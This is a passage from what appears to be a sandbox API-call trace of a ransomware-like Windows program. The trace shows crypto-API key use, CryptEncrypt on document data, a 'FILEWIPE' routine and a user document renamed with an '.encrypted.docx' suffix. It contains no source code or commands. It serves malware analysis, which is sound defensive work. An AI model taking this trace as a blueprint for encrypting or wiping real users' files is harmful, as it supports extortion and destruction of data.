wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.823] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.824] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b080, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0024.825] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0024.825] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064c60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.825] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.826] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.826] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.826] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.827] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.827] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13e9c, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x13ea0) returned 1 [0024.827] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.827] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.828] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.828] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.828] CharLowerBuffW (in: lpsz="byte[81569]", cchLength=0xb | out: lpsz="byte[81569]") returned 0xb [0024.828] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.829] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.829] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41fc5e0*, pdwDataLen=0xe8f3dfdf68*=0x13e9c, dwBufLen=0x13ea0 | out: pbData=0xe8f41fc5e0*, pdwDataLen=0xe8f3dfdf68*=0x13ea0) returned 1 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.829] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.829] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.829] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.830] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.830] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.830] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.830] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.834] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.834] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.834] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.836] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.836] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.836] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.837] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.837] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.837] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.837] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.837] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.840] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.840] CharLowerBuffW (in: lpsz="byte[81564]", cchLength=0xb | out: lpsz="byte[81564]") returned 0xb [0024.842] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.842] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.842] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.842] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.843] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.843] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.845] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4215) returned 1 [0024.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.845] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.846] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.846] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1077, lpOverlapped=0x0) returned 1 [0024.846] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.846] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1077, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.846] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4215) returned 1 [0024.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\n", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0024.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\n", cchWideChar=68, lpMultiByteStr=0xe8f4051310, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 68 [0024.846] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a490*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a490*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x43, lpOverlapped=0x0) returned 1 [0024.846] CloseHandle (hObject=0x1fc) returned 1 [0024.848] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.848] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.849] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.849] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.849] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.850] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.851] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178a40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.851] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.851] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.rtf", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0024.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 